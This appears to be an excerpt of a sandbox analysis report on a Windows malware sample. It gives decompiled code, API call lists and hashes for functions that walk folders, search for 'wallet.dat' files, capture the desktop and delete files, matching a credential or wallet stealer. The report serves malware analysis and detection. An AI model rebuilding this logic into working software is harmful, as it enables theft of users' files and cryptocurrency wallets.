							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t194, 0xffffffff, 0, _t177, 0, 0);
							if(0 != 0) {
								_t116 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
								_v804 = _v828;
								_v800 = _v824;
								_t117 =  *((intOrPtr*)( *0x40e13c))(_t116, _t132);
								_t160 = _a20;
								_v800 = _v800 & 0x00000000;
								_v804 = _t117;
								 *_t160 =  *_a20 + 1;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t185 = _v824;
								_t194 = _v820;
								goto L16;
							}
							LocalFree(_t194);
							LocalFree(_v820);
							LocalFree(_v836);
							LocalFree(_t132);
							LocalFree(_t185);
							CloseHandle(_v816);
							DeleteFileW(_t132);
							goto L14;
						}
					}
					if(_v568 != 0x2e && E0040A70E( &_v568, _a8) != 0 && E0040A70E( &_v568, _a12) == 0) {
						_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
						_t192 =  *((intOrPtr*)( *0x40e000))(_t78, _a4,  &(_v616.dwReserved1));
						E0040B177(_v684, _t183, _t192, _a8, _a12, _a16, _a20);
						_t198 = _t198 + 0x14;
						LocalFree(_t192);
						_t190 = _v684;
					}
					L19:
					_push( &(_v616.ftCreationTime));
					_push(_t130);
				} while ( *((intOrPtr*)( *0x40e148))() != 0);
				LocalFree(_v640);
				FindClose(_t130);
				goto L21;
			}

0x0040b17d
0x0040b190
0x0040b192
0x0040b196
0x0040b19a
0x0040b19e
0x0040b1b2
0x0040b1bb
0x0040b1bf
0x0040b1d0
0x0040b1d2
0x0040b1d9
0x0040b4e6
0x0040b4ee
0x0040b4ee
0x0040b1df
0x0040b1e1
0x0040b1e6
0x0040b27a
0x00000000
0x0040b294
0x0040b2a1
0x0040b2ba
0x0040b2bf
0x0040b2c9
0x0040b2cd
0x0040b2d2
0x0040b2d8
0x0040b4a3
0x0040b4a4
0x0040b4ab
0x0040b4b2
0x0040b4b8
0x0040b4b8
0x0040b4bc
0x00000000
0x0040b4bc
0x0040b2e3
0x0040b2e5
0x0040b2e6
0x0040b2eb
0x00000000
0x00000000
0x0040b305
0x0040b30a
0x0040b30e
0x0040b321
0x0040b330
0x0040b332
0x0040b33a
0x0040b33f
0x0040b350
0x0040b364
0x0040b372
0x0040b37f
0x0040b396
0x0040b39a
0x0040b3ab
0x0040b3ba
0x0040b3be
0x0040b3c0
0x0040b3c4
0x0040b3ca
0x0040b482
0x0040b483
0x0040b48a
0x0040b494
0x0040b49b
0x0040b428
0x0040b428
0x00000000
0x0040b428
0x0040b3e6
0x0040b3ea
0x0040b43d
0x0040b44a
0x0040b453
0x0040b457
0x0040b459
0x0040b460
0x0040b465
0x0040b474
0x0040b476
0x0040b477
0x0040b478
0x0040b479
0x0040b47a
0x0040b47e
0x00000000
0x0040b47e
0x0040b3ed
0x0040b3f8
0x0040b402
0x0040b409
0x0040b410
0x0040b41b
0x0040b422
0x00000000
0x0040b422
0x0040b27a
0x0040b1f2
0x0040b22c
0x0040b246
0x0040b254
0x0040b259
0x0040b25d
0x0040b263
0x0040b263
0x0040b4c0
0x0040b4c9
0x0040b4ca
0x0040b4cd
0x0040b4d9
0x0040b4e0
0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 0040B1D0
GetFileSize.KERNEL32(00000000,00000000), ref: 0040B30E
LocalFree.KERNEL32(00000000), ref: 0040B3ED
LocalFree.KERNEL32(?), ref: 0040B3F8
LocalFree.KERNEL32(?), ref: 0040B402
LocalFree.KERNEL32(?), ref: 0040B409
LocalFree.KERNEL32(00000000), ref: 0040B410
CloseHandle.KERNEL32(?), ref: 0040B41B
DeleteFileW.KERNEL32(?), ref: 0040B422
LocalFree.KERNEL32(?), ref: 0040B483
LocalFree.KERNEL32(00000000), ref: 0040B48A
LocalFree.KERNEL32(?), ref: 0040B494
LocalFree.KERNEL32(00000000), ref: 0040B49B
LocalFree.KERNEL32(?), ref: 0040B4A4
LocalFree.KERNEL32(00000000), ref: 0040B4AB
DeleteFileW.KERNEL32(?), ref: 0040B4B2
LocalFree.KERNEL32(?), ref: 0040B4D9
FindClose.KERNEL32(00000000), ref: 0040B4E0

Part of subcall function 0040A70E: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A741
Part of subcall function 0040A70E: LocalFree.KERNEL32(?), ref: 0040A7C2

Part of subcall function 0040B177: LocalFree.KERNEL32(00000000), ref: 0040B25D

Strings

., xrefs: 0040B1EC
]s, xrefs: 0040B33F

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$File$CloseDeleteFind$AllocFirstHandleSize
String ID: .$]s
API String ID: 322622607-2061089409
Opcode ID: 48fb149053ef200d459f7f380ceaf91d03eb9e8f41a1b2d18255321c7608b971
Instruction ID: d7038f412777c1620d74c121b4857271da971a97c01f51cff95b18f8f793f09e
Opcode Fuzzy Hash: 48fb149053ef200d459f7f380ceaf91d03eb9e8f41a1b2d18255321c7608b971
Instruction Fuzzy Hash: A5A1B171204301AFD704DF62DD88E6B77A9EF88704F004D29FA55A72A1DB74ED10CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE06 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 300
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0040AE4E
FindFirstFileW.KERNEL32(00000000,?), ref: 0040AE9C
LocalFree.KERNEL32(00000000), ref: 0040AEA9
LocalFree.KERNEL32(00000000), ref: 0040AEB0

Strings

wallet.dat, xrefs: 0040AF43

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$FileFindFirstFolderPathSpecial
String ID: wallet.dat
API String ID: 2611946579-126057665
Opcode ID: d18511dcb49cecff3af7a8a3a4a2ac7ba367992507ce9e77723320c17dcaae13
Instruction ID: c428bda3d7e2fbc090b10557d15fab42b18105d23257a4f21a5ceef78d5d1267
Opcode Fuzzy Hash: d18511dcb49cecff3af7a8a3a4a2ac7ba367992507ce9e77723320c17dcaae13
Instruction Fuzzy Hash: 4BA1B471A00215AFDB14DBA6DD89FAF77B5EB48310F004429F615BB2D0DBB89D10CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADD Relevance: 30.4, APIs: 20, Instructions: 387filewindowlibraryCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00408B01
LoadLibraryW.KERNEL32 ref: 00408B16
GetClientRect.USER32(?,?), ref: 00408C7F
SetStretchBltMode.GDI32(?,00000004), ref: 00408C88
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00CC0020), ref: 00408CC5
SelectObject.GDI32(?,00000000), ref: 00408CFA
GetObjectW.GDI32(00000000,00000018,?), ref: 00408D37

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00408D9E

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 00408E46
CloseHandle.KERNEL32(?), ref: 00408E51
DeleteFileW.KERNEL32(?), ref: 00408E58
LocalFree.KERNEL32(?), ref: 00408E5F
LocalFree.KERNEL32(?), ref: 00408E69
LocalFree.KERNEL32(00000000), ref: 00408F41
LocalFree.KERNEL32(?), ref: 00408F4B
LocalFree.KERNEL32(?), ref: 00408F55
LocalFree.KERNEL32(?), ref: 00408F5C
LocalFree.KERNEL32(?), ref: 00408F66
DeleteObject.GDI32(00000000), ref: 00408F6D
DeleteObject.GDI32(?), ref: 00408F77

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$Object$Delete$FileStretchlstrlen$AllocClientCloseCreateDesktopGlobalHandleLibraryLoadModeRectSelectWindow
String ID:
API String ID: 2597395389-0
Opcode ID: deff7585ebf4a3cada0b4e5203a5cf84e0c26f1f4b35f6455ec07dc6f0e53994
Instruction ID: 01ed2ab5b407dfc10e46f60f726f8b4f8e8024e8c2023dc9817dc03e66c0134a
Opcode Fuzzy Hash: deff7585ebf4a3cada0b4e5203a5cf84e0c26f1f4b35f6455ec07dc6f0e53994
Instruction Fuzzy Hash: 53D12E71104211AFE705DFA6DE44E2B7BF9EB89710F004D3DFA54E72A0DB7499208B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00403C8F Relevance: 27.3, APIs: 18, Instructions: 255
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00403C8F(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a12) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				void* _v40;
				void* _v44;
				intOrPtr _v48;
				struct _WIN32_FIND_DATAW _v640;
				void* _t60;
				void* _t62;
				void* _t63;
				void* _t66;
				void* _t70;
				signed int _t77;
				signed int _t86;
				signed int _t91;
				void* _t93;
				void* _t94;
				void* _t96;
				WCHAR* _t97;
				void* _t98;
				int _t101;
				signed int _t103;
				void* _t105;
				void* _t107;
				void* _t109;
				void* _t111;
				signed int _t123;
				void* _t124;
				void* _t125;
				void* _t127;
				signed int _t160;
				intOrPtr _t173;
				void* _t181;
				void* _t186;
				signed int _t189;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;

				_v36 = __edx;
				_v28 = __ecx;
				_t60 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e1a8);
				while(1) {
					_t124 = _t60;
					if(_t124 == 0) {
						break;
					}
					_t125 = _t124 + 8;
					_t62 =  *((intOrPtr*)( *0x40e18c))(_t125,  *0x40e1f0);
					_t3 = _t62 + 2; // 0x2
					_t63 =  *((intOrPtr*)( *0x40e18c))(_t3,  *0x40e1e8);
					_v24 = _t63;
					_t66 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t64);
					_v12 = _t66;
					_t70 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t68);
					_v16 = _t70;
					_t186 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t71);
					_v20 = _t186;
					_v32 = _v24 - _t125 >> 1;
					_t77 = E0040A3E4(_t125,  &_v12, _t3 - _t125 >> 1, _v24 - _t125 >> 1);
					__eflags = _t77;
					if(_t77 == 0) {
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_t186);
						L16:
						L17:
						return 1;
					}
					_t181 =  *((intOrPtr*)( *0x40e18c))(_v24 + 2,  *0x40e1e8);
					_t189 = _t181 - _t125 >> 1;
					_t86 = E0040A3E4(_t125,  &_v16, _v32 + 1, _t189);
					__eflags = _t86;
					if(_t86 == 0) {
						L14:
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						goto L16;
					}
					_t17 = _t181 + 2; // 0x2
					_v48 =  *((intOrPtr*)( *0x40e18c))(_t17,  *0x40e228);
					_t20 = _t189 + 1; // 0x1
					_t91 = E0040A3E4(_t125,  &_v20, _t20, _t90 - _t125 >> 1);
					__eflags = _t91;
					if(_t91 == 0) {
						goto L14;
					}
					_t93 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_t94 =  *((intOrPtr*)( *0x40e000))(_t93, _a12, _v20);
					_v24 = _t94;
					_t96 = E0040A503( *((intOrPtr*)( *0x40e044))(0x40, 0x208), _t94);
					_t173 =  *0x40e1d0; // 0x735c00
					_t97 = E0040A503(_t96, _t173);
					_v44 = _t97;
					_t98 = FindFirstFileW(_t97,  &_v640); // executed
					_t127 = _t98;
					_v40 = _t127;
					__eflags = _t127 - 0xffffffff;
					if(_t127 == 0xffffffff) {
						return 0;
					} else {
						goto L5;
					}
					do {
						L5:
						__eflags = _v640.dwFileAttributes & 0x00000010;
						if((_v640.dwFileAttributes & 0x00000010) != 0) {
							__eflags = _v640.cFileName - 0x2e;
							if(_v640.cFileName != 0x2e) {
								_t103 =  *((intOrPtr*)( *0x40e18c))( &(_v640.cFileName), _v12);
								__eflags = _t103;
								if(_t103 != 0) {
									_t105 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
									_t191 =  *((intOrPtr*)( *0x40e13c))(_t105, _a12);
									_v32 = _t191;
									_t107 =  *((intOrPtr*)( *0x40e0e0))(_t191, 0, 0x5c);
									_t35 = _t107 + 2; // 0x2
									_t160 = _t35 - _t191;
									__eflags = _t160;
									 *((short*)(_t191 + (_t160 >> 1) * 2 - 0x16)) = 0;
									_t109 =  *((intOrPtr*)( *0x40e0e0))(_t191, 0, 0x5c);
									_t39 = _t109 + 2; // 0x2
									 *((intOrPtr*)( *0x40e044))(0x40, 0x208);
									_t192 = _v24;
									_t111 = E0040A503(0, _t192);
									_t193 =  *((intOrPtr*)( *0x40e000))(_t111, _t192,  &(_v640.cFileName));
									E004039D7(_t193, _v16, __eflags, _t39, _t35, _v36, _a4);
									_t194 = _t194 + 0x10;
									LocalFree(_t193);
									LocalFree(_v32);
									_t127 = _v40;
								}
							}
						}
						_t101 = FindNextFileW(_t127,  &_v640); // executed
						__eflags = _t101;
					} while (_t101 != 0);
					FindClose(_t127); // executed
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v44);
					_t123 = _v48 + 2;
					__eflags = _t123;
					_t60 =  *((intOrPtr*)( *0x40e18c))(_t123,  *0x40e1a8);
				}
				goto L17;
			}

0x00403ca6
0x00403caa
0x00403cad
0x00403f55
0x00403f55
0x00403f59
0x00000000
0x00000000
0x00403cbf
0x00403cc3
0x00403cd1
0x00403cd5
0x00403ce6
0x00403cf0
0x00403cfb
0x00403d0a
0x00403d1b
0x00403d27
0x00403d3b
0x00403d3e
0x00403d41
0x00403d48
0x00403d4a
0x00403f7f
0x00403f88
0x00403f8f
0x00403f8f
0x00403f95
0x00000000
0x00403f97
0x00403d6b
0x00403d71
0x00403d78
0x00403d7f
0x00403d81
0x00403f65
0x00403f68
0x00403f71
0x00403f8f
0x00000000
0x00403f8f
0x00403d93
0x00403d9b
0x00403da6
0x00403dac
0x00403db3
0x00403db5
0x00000000
0x00000000
0x00403dc8
0x00403dd7
0x00403de4
0x00403ded
0x00403df2
0x00403dfa
0x00403e0d
0x00403e10
0x00403e12
0x00403e14
0x00403e17
0x00403e1a
0x00000000
0x00000000
0x00000000
0x00000000
0x00403e20
0x00403e20
0x00403e20
0x00403e27
0x00403e2d
0x00403e35
0x00403e4a
0x00403e4c
0x00403e4e
0x00403e60
0x00403e74
0x00403e7b
0x00403e7e
0x00403e82
0x00403e89
0x00403e89
0x00403e8f
0x00403e9a
0x00403ea9
0x00403eac
0x00403eae
0x00403eb5
0x00403ed1
0x00403eda
0x00403edf
0x00403ee3
0x00403eec
0x00403ef2
0x00403ef2
0x00403e4e
0x00403e35
0x00403f02
0x00403f04
0x00403f04
0x00403f0d
0x00403f16
0x00403f1f
0x00403f28
0x00403f31
0x00403f3a
0x00403f4f
0x00403f4f
0x00403f53
0x00403f53
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00403CF0
LocalAlloc.KERNEL32(00000040,00000000), ref: 00403D0A
LocalAlloc.KERNEL32(00000040,00000000), ref: 00403D25

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 1bb4ae642edddd975e73f152ff3b11f606833d84a600c2f2473e6c48155b5260
Instruction ID: 30a2a756aa81b8726d571d7f3e9c3124e2b02b732ad4ca54e9afcb5ed5404845
Opcode Fuzzy Hash: 1bb4ae642edddd975e73f152ff3b11f606833d84a600c2f2473e6c48155b5260
Instruction Fuzzy Hash: CC91B571A00215AFDF089FA5DD49DAE7BB9EB48310F004839F905B73A0DB746D21CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004052DA Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 232
fileCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E004052DA(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				char _v568;
				struct _WIN32_FIND_DATAW _v616;
				intOrPtr _v628;
				void* _v632;
				void* _v640;
				intOrPtr _v664;
				char _v668;
				intOrPtr _v688;
				void* _v696;
				intOrPtr _v700;
				void* _v704;
				void* _v712;
				void* _v716;
				void* _v720;
				char _v736;
				intOrPtr _v748;
				intOrPtr _v760;
				void* _v768;
				intOrPtr _v776;
				signed int _v784;
				void* _v788;
				void* _v792;
				void* _v796;
				intOrPtr _v800;
				void* _v804;
				void* _v820;
				void* _v828;
				void* __ebx;
				void* __esi;
				void* _t62;
				void* _t66;
				void* _t68;
				char _t69;
				void* _t70;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int _t74;
				void* _t76;
				void* _t86;
				void* _t112;
				void* _t113;
				void* _t114;
				intOrPtr _t151;
				void* _t153;
				void* _t154;
				void* _t159;
				void* _t160;
				void* _t161;
				void* _t163;
				void* _t164;
				signed int _t166;
				void* _t168;

				_t168 = (_t166 & 0xfffffff8) - 0x284;
				_v628 = __edx;
				_t160 = __ecx;
				_t62 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a, _t153, _t159, _t112);
				_t113 =  *((intOrPtr*)( *0x40e13c))(_t62, __ecx);
				_v632 = _t113;
				E0040188C(_t113, _t113, 0x104, __ecx,  *0x40e1d0);
				_t66 = FindFirstFileW(_t113,  &_v616); // executed
				_t154 = _t66;
				_v640 = _t154;
				if(_t154 != 0xffffffff) {
					_t114 = _t160;
					do {
						if((_v616.ftCreationTime & 0x00000010) == 0) {
							_t68 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
							_t69 =  *((intOrPtr*)( *0x40e000))(_t68, _t114,  &(_v616.dwReserved1));
							_v668 = _t69;
							_t70 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
							_t72 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t70,  *0x40e1b8), _a4);
							_v700 = _t72;
							_t73 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
							_v700 = _t73;
							_t74 =  *((intOrPtr*)( *0x40e08c))(0);
							_t161 = _v696;
							if(E0040A2AA(_t161 + _t74 * 2,  &_v704, _v688) != 0) {
								_t76 = E0040A503(_v712, _v704);
								_v712 = _t76;
								_v716 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
								if(E0040A69E( *0x40e044,  &_v716) != 0) {
									_t164 = _v716;
									_push(0);
									_push(_t164);
									_push(_v704);
									if( *((intOrPtr*)( *0x40e184))() != 0) {
										_v748 =  *((intOrPtr*)( *0x40e03c))(_t164, 0x80000000, 1, 0, 4, 0, 0);
										 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v760, 0xffffffff, 0, 0, 0, 0);
										_v768 = 0;
										 *((intOrPtr*)( *0x40e044))(0x40, 0x30c);
										_t151 = _v776;
										_v796 = 0;
										if(_t151 != 0) {
											 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v800, 0xffffffff, 0, _t151, 0, 0);
											if(0 == 0 || E0040A70E( &_v736, _a8) == 0) {
												LocalFree(_v828);
												CloseHandle(_v820);
												DeleteFileW(_t164);
												LocalFree(_t164);
											} else {
												_t139 = _a20;
												_v784 = _v784 & 0x00000000;
												_v796 = _v828;
												_v792 = _v820;
												_v788 = _t164;
												 *_t139 =  *_a20 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t154 = _v804;
											}
										}
									}
								}
								LocalFree(_v704);
							} else {
								LocalFree(_t161);
							}
							LocalFree(_v720);
							LocalFree(_v712);
							L18:
							goto L19;
						}
						if(_v568 != 0x2e && E0040A70E( &_v568, _a12) == 0) {
							_t86 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
							_t163 =  *((intOrPtr*)( *0x40e000))(_t86, _t114,  &(_v616.dwReserved1));
							E004052DA(_t163, _v664, _a4, _a8, _a12, _a16, _a20);
							_t168 = _t168 + 0x14;
							LocalFree(_t163);
							goto L18;
						}
						L19:
						_push( &_v668);
						_push(_t154);
					} while ( *((intOrPtr*)( *0x40e148))() != 0);
					LocalFree(_v696);
					FindClose(_t154);
					goto L21;
				} else {
					LocalFree(_t113);
					L21:
					return 0;
				}
			}

0x004052e0
0x004052f5
0x004052f9
0x004052fb
0x0040530d
0x00405316
0x0040531a
0x0040532b
0x0040532d
0x0040532f
0x00405336
0x00405344
0x00405346
0x0040534b
0x004053bb
0x004053ca
0x004053d9
0x004053dd
0x004053f3
0x00405405
0x00405409
0x00405417
0x0040541b
0x0040541d
0x00405430
0x00405440
0x00405452
0x0040545c
0x00405467
0x0040546d
0x00405476
0x00405478
0x00405479
0x00405481
0x004054a3
0x004054b9
0x004054c8
0x004054cc
0x004054ce
0x004054d2
0x004054d8
0x004054f7
0x004054fb
0x00405549
0x00405554
0x0040555b
0x00405562
0x0040550d
0x0040550d
0x00405514
0x00405519
0x00405521
0x00405530
0x00405538
0x0040553a
0x0040553b
0x0040553c
0x0040553d
0x0040553e
0x0040553e
0x004054fb
0x004054d8
0x00405481
0x0040556c
0x00405432
0x0040556c
0x0040556c
0x00405576
0x00405580
0x00405580
0x00000000
0x00405580
0x00405353
0x00405379
0x00405391
0x004053a1
0x004053a6
0x00405580
0x00000000
0x00405580
0x00405586
0x0040558f
0x00405590
0x00405593
0x004055a0
0x004055a7
0x00000000
0x00405338
0x00405339
0x004055ad
0x004055b5
0x004055b5

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 0040532B
LocalFree.KERNEL32(00000000), ref: 00405339
LocalFree.KERNEL32(?), ref: 00405580
LocalFree.KERNEL32(?), ref: 004055A0
FindClose.KERNEL32(00000000), ref: 004055A7

Strings

., xrefs: 0040534D

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$Find$CloseFileFirst
String ID: .
API String ID: 422121646-248832578
Opcode ID: 8c6a5511dc8fc088a2e42269fb89b557bfc65514d3feaa707af3d02d29105364
Instruction ID: 9add6ecd6c2ae3d530fb5184dfeb79ca83270308c151c7c4913ae962937730f4
Opcode Fuzzy Hash: 8c6a5511dc8fc088a2e42269fb89b557bfc65514d3feaa707af3d02d29105364
Instruction Fuzzy Hash: 9C816CB1604301AFDB04DF61DD45E2B77A5EB88714F004D2DFA55A72E0DBB4E910CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401B05 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 124
fileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00401B05(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				intOrPtr _v12;
				struct _WIN32_FIND_DATAW _v608;
				char _v1126;
				short _v1128;
				void* __ebx;
				void* __esi;
				void* _t32;
				int _t33;
				void* _t39;
				signed int _t41;
				void* _t60;
				WCHAR* _t80;
				void* _t81;
				WCHAR* _t83;
				void* _t84;

				_v12 = __edx;
				_t80 = __ecx;
				if(_a12 > 2) {
					L14:
					return 1;
				}
				_push(__ecx);
				E004018E9( &_v1128, 0x104, __ecx, __ecx);
				E0040188C(0x104,  &_v1128, 0x104, _t81,  *0x40e1d0);
				_t32 = FindFirstFileW( &_v1128,  &_v608); // executed
				_t60 = _t32;
				if(_t60 != 0xffffffff) {
					goto L3;
				} else {
					return 0;
				}
				do {
					L3:
					if((_v608.dwFileAttributes & 0x00000010) == 0) {
						goto L12;
					}
					_push( *0x40e1dc);
					_push( &(_v608.cFileName));
					if( *((intOrPtr*)( *0x40e0a0))() != 0) {
						_push( *0x40e1ac);
						_push( &(_v608.cFileName));
						if(lstrlenW( *((intOrPtr*)( *0x40e18c))()) <= 0) {
							_t39 = 0x2e;
							if(_t39 != _v608.cFileName) {
								_t41 =  *((intOrPtr*)( *0x40e08c))(_t80);
								_t70 =  &_v1126 + _t41 * 2;
								_push( &_v1126 + _t41 * 2);
								E004018E9( &_v1126 + _t41 * 2, 0x104, _t70,  &(_v608.cFileName));
								_t25 =  &_a8; // 0x407b38
								E00401B05( &_v1128, _v12, _a4,  *_t25, _a12 + 1); // executed
								_t84 = _t84 + 0xc;
							}
							goto L12;
						}
						_t83 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
						PathCombineW(_t83, _t80,  &(_v608.cFileName));
						_push(1);
						L8:
						_t14 =  &_a8; // 0x407b38
						_push( *_t14);
						_push(_a4);
						E00401E18(_t83, _v12); // executed
						_t84 = _t84 + 0xc;
						if(_t83 != 0) {
							LocalFree(_t83);
						}
						goto L12;
					}
					_t83 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					PathCombineW(_t83, _t80,  &(_v608.cFileName));
					_push(0);
					goto L8;
					L12:
					_t33 = FindNextFileW(_t60,  &_v608); // executed
				} while (_t33 != 0);
				FindClose(_t60); // executed
				goto L14;
			}

0x00401b15
0x00401b18
0x00401b1a
0x00401c80
0x00000000
0x00401c80
0x00401b20
0x00401b30
0x00401b43
0x00401b5b
0x00401b5d
0x00401b62
0x00000000
0x00401b64
0x00000000
0x00401b64
0x00401b6b
0x00401b6b
0x00401b72
0x00000000
0x00000000
0x00401b78
0x00401b89
0x00401b8e
0x00401bb3
0x00401bca
0x00401bd2
0x00401c17
0x00401c1f
0x00401c27
0x00401c34
0x00401c37
0x00401c40
0x00401c53
0x00401c59
0x00401c5e
0x00401c5e
0x00000000
0x00401c1f
0x00401be2
0x00401bed
0x00401bf3
0x00401bf5
0x00401bf5
0x00401bf5
0x00401bfd
0x00401c00
0x00401c05
0x00401c0a
0x00401c0d
0x00401c0d
0x00000000
0x00401c0a
0x00401b9e
0x00401ba9
0x00401baf
0x00000000
0x00401c61
0x00401c6f
0x00401c71
0x00401c7a
0x00000000

APIs

FindFirstFileW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401B5B
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401BA9
LocalFree.KERNEL32(00000000), ref: 00401C0D
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00401C6F
FindClose.KERNEL32(00000000), ref: 00401C7A

Strings

8{@, xrefs: 00401C53, 00401BF5

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Find$File$CloseCombineFirstFreeLocalNextPath
String ID: 8{@
API String ID: 3818457336-1865321623
Opcode ID: 0d563a21696d45e51e4e742b712c43a06de6a103015c0db40193237efc02fdb8
Instruction ID: e4eb25170f48de3e52739dcc6529c8d0564bd3351774df583b1370a22c53c5e7
Opcode Fuzzy Hash: 0d563a21696d45e51e4e742b712c43a06de6a103015c0db40193237efc02fdb8
Instruction Fuzzy Hash: 6741E871900214ABDB149B61DEC8FAA7778EB85300F004579F905B72A0EB79DE55CF68

Uniqueness

Uniqueness Score: -1.00%

Function 004092CF Relevance: 13.6, APIs: 9, Instructions: 131stringCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(00000000,00409A74,00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000), ref: 0040933B
lstrcpyn.KERNEL32(00000010,00409A74,00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000), ref: 0040937B
lstrcpyn.KERNEL32(00000020,00409A74,00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000), ref: 004093BB
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000,00000000,00000000), ref: 004093C5

